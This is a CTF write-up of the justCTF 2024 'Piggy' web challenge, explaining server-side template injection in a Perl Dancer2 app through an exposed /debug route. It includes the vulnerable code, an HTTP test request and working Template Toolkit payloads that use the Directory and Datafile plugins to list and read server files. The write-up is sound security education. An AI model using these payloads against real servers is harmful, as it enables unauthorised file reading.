Piggy

Overview
Background
Enumeration
Exploitation
Conclusion

Overview

Solved by: @siunam
Contributor: @jose.fk
61 solves / 180 points
Overall difficulty for me (From 1-10 stars): ★★☆☆☆☆☆☆☆☆

Background

Who is such a piggy (ツ)

Many players ask about piggy being broken (missing flag.txt) but it works as intended.

http://piggy.web.jctf.pro
https://s3.cdn.justctf.team/f2af71a7-f199-47a7-9934-013a168a76f7/piggy_docker.tar.gz

Enumeration

Index page:

In here, it is just a welcome page, nothing special. Hmm… Let’s read the source code of this web application!

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/justCTF-2024-teaser/Web/Piggy)-[2024.06.16|16:15:43(HKT)]
└> file piggy_docker.tar.gz 
piggy_docker.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 289280
┌[siunam♥Mercury]-(~/ctf/justCTF-2024-teaser/Web/Piggy)-[2024.06.16|16:15:45(HKT)]
└> tar xvzf ./piggy_docker.tar.gz 
./
./Dockerfile
./views/
./views/index.tt
./public/
./public/images/
./public/images/piggy.webp
./config.yml
./app.pl
./flag.txt
./docker-compose.yaml

After reviewing the source code, we have the following findings!

The flag is seemingly at /app/flag.txt (The COPY . . Docker command from the Dockerfile)
This web application is written in Perl’s Dancer2 web application framework
This web application uses Perl’s Template Toolkit to render templates

Let’s dive into the web application main logic source code at app.pl!

First, at GET route /, it just render the template views/index.tt with a randomly chosen greetings string:

[...]
use Dancer2;
use Template;

my @greetings = ("Hello", "Ebe", "Greetings", "Hi", "Good day");

get '/' => sub {
    my $greeting = $greetings[rand @greetings];
    template 'index' => {
        greeting => $greeting
    };
};
[...]

views/index.tt:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Piggy</title>
    <style>
        [...CSS stuff...]
    </style>
</head>
<body>
    <h1>[% greeting %]! Welcome to our app.</h1>
    <p>This is Piggy, your friendly task companion!</p>
    <img src="/images/piggy.webp" alt="Laughing Pig">
</body>
</html>

Hmm… Nothing weird and interesting for us in this route.

However, there’s a peculiar POST route at /debug:

[...]
post '/debug' => sub {
    my $input = body_parameters->get('debug');
    my $output;
    
    my $template = Template->new({
        INCLUDE_PATH => './views'
    });
    $template->process(\$input, {}, \$output) or die $template->error();
    return $output;
};
[...]

In this POST route, we can see that it takes a debug POST body parameter, and parses it with the process method to render our template literals!

With that said, this POST route is basically SSTI (Server-Side Template Injection) in Perl’s Template Toolkit for free!

In Template Toolkit’s syntax documentation, the default tag markers are [% and %].

Let’s try to let the server to render 49 with [% 7*7 %] at POST route /debug!

POST /debug HTTP/1.1
Host: 5al1vghdkve4bhweufft29r3nsvp22.piggy.web.jctf.pro
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

debug=[% 7*7 %]

Nice! It worked as expected!

Now, how can we read the flag file?

Exploitation

After digging the plugins documentation, there’re some interesting plugins that are related to reading/listing the file system!

More specifically, plugin “Directory” and “Datafile” can list all the files with a provided path and read files.

First, let’s list all the files at path /app/ with plugin Directory!

In the detailed documentation of the plugin Directory, we can do that with this template syntax:

[% USE dir = Directory('/app/') %]
[% FOREACH file = dir.files %]
    [% file.name %]
[% END %]

In this syntax, it lists all the filenames at path /app/:

Nice! We got the flag’s filename. In my case, it’s flag_980aef6e461ca1009ea62da051753b38.txt.

Then, we can read the flag’s file via plugin Datafile!

By reading the detailed documentation of the plugin Datafile, we can use this syntax the read the flag file:

[% USE flagContent = datafile('/app/flag_980aef6e461ca1009ea62da051753b38.txt') %]
[% FOREACH flag = flagContent %]
   [% flag %]
[% END %]

However, if we do that, it just outputs the hash reference to the flag file:

In the documentation, it said:

The first line defines the field names, delimited by colons with optional surrounding whitespace. Subsequent lines then defines records containing data items, also delimited by colons. […]

Uhh… Can we set a delimiter character other than a colon (:) character?

Luckily, the plugin also allows us to set the delimiter character via the delim parameter:

[% USE things   = datafile('items', delim = '|') %]

Hmm… What character should we use for the delimiter character?

In the local testing flag, we can see the flag file’s content:

Here is your fat flag:
justCTF{fake}

Ah ha! We can use space character as the delimiter character!

Now, we should be able to read the flag’s content via flag.Here using the space character for the delimiter character!

[% USE flagContent = datafile('/app/flag_980aef6e461ca1009ea62da051753b38.txt', delim = ' ') %]
[% FOREACH flag = flagContent %]
   [% flag.Here %]
[% END %]

The reason why we use Here as the key is because this plugin uses the first line to define the field names, and the delimeter in this case is a space character. Hence, the first word for each line will be with the field name Here.

Flag: justCTF{0iNk_oinKxD}

Conclusion

What we’ve learned:

Server-Side Template Injection (SSTI) in Perl “Template Toolkit”

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